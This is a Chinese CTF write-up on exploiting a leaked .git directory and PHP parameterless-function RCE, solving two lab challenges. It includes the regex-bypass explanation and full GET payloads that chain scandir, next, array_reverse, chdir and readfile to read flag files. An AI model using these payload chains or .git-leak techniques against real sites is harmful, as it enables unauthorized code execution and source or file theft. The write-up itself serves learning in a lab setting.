考点
- git源码泄露
- 无参数RCE
无参数RCE
关于无参数RCE的文章可以参考飘零师傅的文章
1 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
简单原理可以用code-breaking上的一道题来简单解释一下。这道题叫phplimit,进入docker-compose.yml
所在目录,执行
1 | sudo docker-compose up -d |
访问8084端口。
1 |
|
源码很简单:
- 接受get请求参数code
- 如果符合正则表达式就执行传入的参数
解释一下正则表达式/[^\W]+\((?R)?\)/
:
[^\W]
表示匹配数字字母下划线(\w
表示数字字母下划线,\W
表示非数字字母下划线,^
在[]
中表否定含义)(?R)?
表示引用当前表达式,即可以用/[^\W]+\((?R)?\)/
替换到(?R)
的位置,变成1
/[^\W]+\(/[^\W]+\((?R)?\)\)/
(?R)?
表示可以有引用也可以没有引用。举个例子:
1
2
3aaa() // 表示没有引用
aaa(bbb()) // 表示引用1次
aaa(bbb(ccc())) // 表示引用2次
这道题要求传入的参数经过preg_replace()
正则匹配替换后仅剩下;
,所以我们只能传入形如a(b(c()))
的参数。这就是无参数RCE。
这里介绍一种最简单的方法,并介绍几个常用函数:
localeconv() : 返回一包含本地数字及货币格式信息的数组
返回的数组的第一个键值对的值为小数点
.
符号current() : 返回数组中的当前元素(单元),每个数组中都有一个内部的指针指向它当前元素,初始指向插入到数组中的第一个元素。
scandir() : 返回指定目录中的文件和目录的数组
在这个目录下并没有发现flag文件,所以想进到上一级目录中,可以用next()函数来实现
next() : 把指向当前元素的指针移动到下一个元素的位置,并返回当前元素的值,如果内部指针已经超过数组的最后一个元素,函数返回 false。
找到了flag,接下来的问题就是如何读取它。
array_reverse() : 将原数组中的元素顺序翻转,创建新的数组并返回。
1
?code=print_r(next(array_reverse(scandir(next(scandir(current(localeconv())))))));
将数组反转后再用next()将数组指针后移就可以得到flag文件:
如果要读取文件有多种方法,可以用show_source()或者是highlight_file()
1
?code=show_source(next(array_reverse(scandir(next(scandir(current(localeconv())))))));
打开错误,提示No such file or directory,这是因为现在的目录指向的仍然是
index.php
所在目录,我们并没有进行切换目录操作,必须进入上一层目录才行。chcrd() : 改变当前的目录 ,切换成功会返回1
dirname() : 返回路径中的目录名称部分
1
?code=show_source(next(array_reverse(scandir(dirname(chdir(next(scandir(current(localeconv())))))))));
得到flag :
flag{e86963ba34687d269b9faf526ce68cd7}
当然上面介绍的方法是最简单的方法,这道题其实有很多的解法,找个时间整理出来。但是上面的方法解决这道题已经足够了。
回到禁止套娃这道题,打开题目,先用字典扫描一下有没有相关php文件。
1 | $ python3 dirsearch.py -u http://51377c23-29fe-44e8-ba65-6af23cc26e15.node3.buuoj.cn/ -e php |
在扫描的过程中发现有.git
泄露的情况
开发人员常常会把源代码提交到远程代码托管网站(如github),部署网站时再从远程托管网站把源码pull到服务器的web目录下,如果粗心忘记删除.git
文件,就会造成.git
泄露。攻击者可以从.git
文件恢复网站的源码,源码里可能会有一些敏感信息,比如数据库信息。
发现了/.git
直接上GitHack
得到index.php源码
1 |
|
从源码中可以得到以下的信息:
- 第一个if表示以GET的形式读取参数exp的值
- 第二个if过滤了
data
、filter
、php
、phar
这四个伪协议,禁止通过伪协议读取文件- 第三个if表示我们只能通过无参数函数进入if语句
- 第四个if过滤了很多函数
先确定flag在哪里
1 | ?exp=print_r(scandir(current(localeconv()))); |
看到了flag.php文件,然后我们要读取这个文件。但是它位于倒数第二个位置,倒数第一我们可用end()
,对于倒数第二,有这么几种处理方法
1. array_reverse() + next()
这个函数之前已经介绍过了,结合next()函数就可以获得flag.php。
2. array_rand() + array_flip()
array_rand() : 返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组
array_flip() : 函数用于反转/交换数组中所有的键名以及它们关联的键值。
因为这道题中的数组元素不太多,所以用array_rand(array_flip())不需要刷新几次就可以得到flag.php。
1 | ?exp=print_r(array_rand(array_flip(scandir(current(localeconv()))))); |
最后一步就是读取flag.php的文本内容,可用的函数有:
file_get_contents()
highlight_file()
show_source()
readfile()
但最里层的if过滤了et
所以不能用file_get_contents()
读取
1 | ?exp=readfile(next(array_reverse(scandir(current(localeconv()))))); |
获得flag : flag{e4c7f285-c400-4f60-8334-dc91e7d771fd}